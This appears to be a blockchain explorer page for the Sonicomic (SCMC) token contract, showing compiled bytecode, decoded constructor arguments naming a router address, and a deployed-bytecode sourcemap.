d62565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add9190610d78565b81600181518110610af057610af0610d62565b6001600160a01b039283166020918202929092010152600954610b169130911684610631565b5060095460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b50908590600090869033904290600401610d95565b600060405180830381600087803b158015610b6a57600080fd5b505af1158015610b7e573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015610bb357858101830151858201604001528201610b97565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461062e57600080fd5b60008060408385031215610bfc57600080fd5b8235610c0781610bd4565b946020939093013593505050565b600080600060608486031215610c2a57600080fd5b8335610c3581610bd4565b92506020840135610c4581610bd4565b929592945050506040919091013590565b600060208284031215610c6857600080fd5b8135610c7381610bd4565b9392505050565b60008060408385031215610c8d57600080fd5b8235610c9881610bd4565b91506020830135610ca881610bd4565b809150509250929050565b600181811c90821680610cc757607f821691505b602082108103610ce757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e5576103e5610ced565b80820281158282048414176103e5576103e5610ced565b600082610d4a57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103e5576103e5610ced565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610d8a57600080fd5b8151610c7381610bd4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610de55784516001600160a01b031683529383019391830191600101610dc0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220375cab81087723487c3b452f05012a0188d8e468d78671098c003c65b213a82a64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000591cf6942c422fa53e8d81c62a9692d7bea72f610000000000000000000000000000000000000000000000000000000000000009536f6e69636f6d69630000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000453434d4300000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Sonicomic
Arg [1] : Symbol (string): SCMC
Arg [2] : routerAddress (address): 0x591cf6942c422fA53E8D81c62a9692D7BeA72F61

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000591cf6942c422fa53e8d81c62a9692d7bea72f61
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 536f6e69636f6d69630000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 53434d4300000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11640:4788:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13006:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13608:146;;;;;;;;;;-1:-1:-1;13608:146:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13608:146:0;1023:187:1;13097:95:0;;;;;;;;;;-1:-1:-1;13177:7:0;;13097:95;;;1361:25:1;;;1349:2;1334:18;13097:95:0;1215:177:1;14122:283:0;;;;;;;;;;-1:-1:-1;14122:283:0;;;;;:::i;:::-;;:::i;13200:85::-;;;;;;;;;;-1:-1:-1;13268:9:0;;;;13200:85;;12030:28;;;;;;;;;;-1:-1:-1;12030:28:0;;;;;;;-1:-1:-1;;;;;12030:28:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12030:28:0;1858:203:1;13444:119:0;;;;;;;;;;-1:-1:-1;13444:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;13537:18:0;13510:7;13537:18;;;:9;:18;;;;;;;13444:119;8220:94;;;;;;;;;;;;;:::i;:::-;;7569:87;;;;;;;;;;-1:-1:-1;7615:7:0;7642:6;-1:-1:-1;;;;;7642:6:0;7569:87;;12911;;;;;;;;;;;;;:::i;14413:167::-;;;;;;;;;;-1:-1:-1;14413:167:0;;;;;:::i;:::-;;:::i;11711:21::-;;;;;;;;;;;;;:::i;11685:19::-;;;;;;;;;;;;;:::i;13293:143::-;;;;;;;;;;-1:-1:-1;13293:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13401:18:0;;;13374:7;13401:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13293:143;8469:192;;;;;;;;;;-1:-1:-1;8469:192:0;;;;;:::i;:::-;;:::i;12065:32::-;;;;;;;;;;-1:-1:-1;12065:32:0;;;;-1:-1:-1;;;;;12065:32:0;;;13006:83;13043:13;13076:5;13069:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13006:83;:::o;13608:146::-;13685:4;13709:37;13718:10;13730:7;13739:6;13709:8;:37::i;:::-;13702:44;;13608:146;;;;;:::o;14122:283::-;14256:4;14273:36;14283:6;14291:9;14302:6;14273:9;:36::i;:::-;-1:-1:-1;;;;;14356:19:0;;;;;;:11;:19;;;;;;;;14344:10;14356:31;;;;;;;;;14327:70;;14336:6;;14356:40;;14390:6;;14356:40;:::i;:::-;14327:8;:70::i;:::-;14320:77;14122:283;-1:-1:-1;;;;14122:283:0:o;8220:94::-;7615:7;7642:6;-1:-1:-1;;;;;7642:6:0;6468:10;7789:23;7781:68;;;;-1:-1:-1;;;7781:68:0;;3797:2:1;7781:68:0;;;3779:21:1;;;3816:18;;;3809:30;3875:34;3855:18;;;3848:62;3927:18;;7781:68:0;;;;;;;;;8285:21:::1;8303:1;8285:9;:21::i;:::-;8220:94::o:0;12911:87::-;12950:13;12983:7;12976:14;;;;;:::i;14413:167::-;14493:4;14510:40;14520:10;14532:9;14543:6;14510:9;:40::i;:::-;-1:-1:-1;14568:4:0;14413:167;;;;:::o;11711:21::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11685:19::-;;;;;;;:::i;8469:192::-;7615:7;7642:6;-1:-1:-1;;;;;7642:6:0;6468:10;7789:23;7781:68;;;;-1:-1:-1;;;7781:68:0;;3797:2:1;7781:68:0;;;3779:21:1;;;3816:18;;;3809:30;3875:34;3855:18;;;3848:62;3927:18;;7781:68:0;3595:356:1;7781:68:0;-1:-1:-1;;;;;8558:22:0;::::1;8550:73;;;::::0;-1:-1:-1;;;8550:73:0;;4158:2:1;8550:73:0::1;::::0;::::1;4140:21:1::0;4197:2;4177:18;;;4170:30;4236:34;4216:18;;;4209:62;-1:-1:-1;;;4287:18:1;;;4280:36;4333:19;;8550:73:0::1;3956:402:1::0;8550:73:0::1;8634:19;8644:8;8634:9;:19::i;:::-;8469:192:::0;:::o;13762:352::-;13879:4;-1:-1:-1;;;;;13904:19:0;;;;;;:44;;-1:-1:-1;;;;;;13927:21:0;;;;13904:44;13896:93;;;;-1:-1:-1;;;13896:93:0;;4565:2:1;13896:93:0;;;4547:21:1;4604:2;4584:18;;;4577:30;4643:34;4623:18;;;4616:62;-1:-1:-1;;;4694:18:1;;;4687:34;4738:19;;13896:93:0;4363:400:1;13896:93:0;-1:-1:-1;;;;;14000:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14052:32;;1361:25:1;;;14052:32:0;;1334:18:1;14052:32:0;;;;;;;-1:-1:-1;14102:4:0;13762:352;;;;;:::o;14588:1179::-;-1:-1:-1;;;;;14727:18:0;;;14709:15;14727:18;;;:10;:18;;;;;;;;;14778:7;;14772:14;;:5;:14;;;;;;14803:18;;;;;14727;14772:14;14803:22;;;;;:42;;;14838:7;;14829:6;:16;14803:42;14799:961;;;-1:-1:-1;;;;;14889:19:0;;14862:13;14889:19;;;:10;:19;;;;;;14878:30;;14925:156;;;;14958:16;:23;;-1:-1:-1;;14958:23:0;;;;;15000:22;15015:6;15000:14;:22::i;:::-;15041:16;:24;;-1:-1:-1;;15041:24:0;;;14925:156;-1:-1:-1;;;;;;15097:19:0;;;;;;:10;:19;;;;;:28;;;14799:961;;;15158:11;15193:3;15182:7;;15173:6;:16;;;;:::i;:::-;15172:24;;;;:::i;:::-;-1:-1:-1;;;;;15215:18:0;;;;;;:10;:18;;;;;;15158:38;;-1:-1:-1;15215:23:0;:50;;;;-1:-1:-1;15252:13:0;;-1:-1:-1;;;;;15242:23:0;;;15252:13;;;;;15242:23;;15215:50;:73;;;;-1:-1:-1;;;;;;15269:15:0;;15287:1;15269:15;;;:7;:15;;;;;;:19;;15215:73;15211:120;;;15309:7;;;14588:1179;;;:::o;15211:120::-;15362:7;;;-1:-1:-1;;;;;15345:14:0;;;;;;;:7;:14;;;;;;;;:24;;;;15390:7;;15384:14;;:5;:14;;;;;;:24;;-1:-1:-1;;;;;;15384:24:0;;;;;;;;;;15429:7;:11;;;;:32;;-1:-1:-1;15445:16:0;;;;;;;15444:17;15429:32;:59;;;;-1:-1:-1;;;;;;15465:18:0;;;;;;:10;:18;;;;;;:23;15429:59;:87;;;;-1:-1:-1;;;;;;15492:19:0;;;;;;:10;:19;;;;;;:24;15429:87;15425:184;;;15537:13;15547:3;15537:13;;:::i;:::-;-1:-1:-1;;;;;15569:17:0;;;;;;:9;:17;;;;;:24;;15537:13;;-1:-1:-1;15590:3:0;;15569:17;;;:24;;15590:3;;15569:24;:::i;:::-;;;;-1:-1:-1;;15425:184:0;-1:-1:-1;;;;;15625:17:0;;;;;;:9;:17;;;;;:27;;15646:6;;15625:17;:27;;15646:6;;15625:27;:::i;:::-;;;;-1:-1:-1;;;;;;;15667:18:0;;;;;;:9;:18;;;;;:28;;15689:6;;15667:18;:28;;15689:6;;15667:28;:::i;:::-;;;;;;;;15732:7;-1:-1:-1;;;;;15715:33:0;15724:6;-1:-1:-1;;;;;15715:33:0;;15741:6;15715:33;;;;1361:25:1;;1349:2;1334:18;;1215:177;15715:33:0;;;;;;;;15143:617;14799:961;14698:1069;;14588:1179;;;:::o;8669:173::-;8725:16;8744:6;;-1:-1:-1;;;;;8761:17:0;;;-1:-1:-1;;;;;;8761:17:0;;;;;;8794:40;;8744:6;;;;;;;8794:40;;8725:16;8794:40;8714:128;8669:173;:::o;16077:348::-;16160:16;;;16174:1;16160:16;;;;;;;;16136:21;;16160:16;;;;;;;;;;-1:-1:-1;16160:16:0;16136:40;;16205:4;16187;16192:1;16187:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16187:23:0;;;:7;;;;;;;;;;:23;;;;16231:6;;:13;;;-1:-1:-1;;;16231:13:0;;;;:6;;;;;:11;;:13;;;;;16187:7;;16231:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16221:4;16226:1;16221:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16221:23:0;;;:7;;;;;;;;;:23;16287:6;;16255:48;;16272:4;;16287:6;16296;16255:8;:48::i;:::-;-1:-1:-1;16314:6:0;;:103;;-1:-1:-1;;;16314:103:0;;-1:-1:-1;;;;;16314:6:0;;;;:57;;:103;;16372:6;;16314;;16383:4;;16389:10;;16401:15;;16314:103;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16125:300;16077:348;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;:::-;2302:5;2066:247;-1:-1:-1;;;2066:247:1:o;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2945:380::-;3024:1;3020:12;;;;3067;;;3088:61;;3142:4;3134:6;3130:17;3120:27;;3088:61;3195:2;3187:6;3184:14;3164:18;3161:38;3158:161;;3241:10;3236:3;3232:20;3229:1;3222:31;3276:4;3273:1;3266:15;3304:4;3301:1;3294:15;3158:161;;2945:380;;;:::o;3330:127::-;3391:10;3386:3;3382:20;3379:1;3372:31;3422:4;3419:1;3412:15;3446:4;3443:1;3436:15;3462:128;3529:9;;;3550:11;;;3547:37;;;3564:18;;:::i;4768:168::-;4841:9;;;4872;;4889:15;;;4883:22;;4869:37;4859:71;;4910:18;;:::i;4941:217::-;4981:1;5007;4997:132;;5051:10;5046:3;5042:20;5039:1;5032:31;5086:4;5083:1;5076:15;5114:4;5111:1;5104:15;4997:132;-1:-1:-1;5143:9:1;;4941:217::o;5163:125::-;5228:9;;;5249:10;;;5246:36;;;5262:18;;:::i;5425:127::-;5486:10;5481:3;5477:20;5474:1;5467:31;5517:4;5514:1;5507:15;5541:4;5538:1;5531:15;5557:251;5627:6;5680:2;5668:9;5659:7;5655:23;5651:32;5648:52;;;5696:1;5693;5686:12;5648:52;5728:9;5722:16;5747:31;5772:5;5747:31;:::i;5813:980::-;6075:4;6123:3;6112:9;6108:19;6154:6;6143:9;6136:25;6180:2;6218:6;6213:2;6202:9;6198:18;6191:34;6261:3;6256:2;6245:9;6241:18;6234:31;6285:6;6320;6314:13;6351:6;6343;6336:22;6389:3;6378:9;6374:19;6367:26;;6428:2;6420:6;6416:15;6402:29;;6449:1;6459:195;6473:6;6470:1;6467:13;6459:195;;;6538:13;;-1:-1:-1;;;;;6534:39:1;6522:52;;6629:15;;;;6594:12;;;;6570:1;6488:9;6459:195;;;-1:-1:-1;;;;;;;6710:32:1;;;;6705:2;6690:18;;6683:60;-1:-1:-1;;;6774:3:1;6759:19;6752:35;6671:3;5813:980;-1:-1:-1;;;5813:980:1:o

Swarm Source

ipfs://375cab81087723487c3b452f05012a0188d8e468d78671098c003c65b213a82a
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.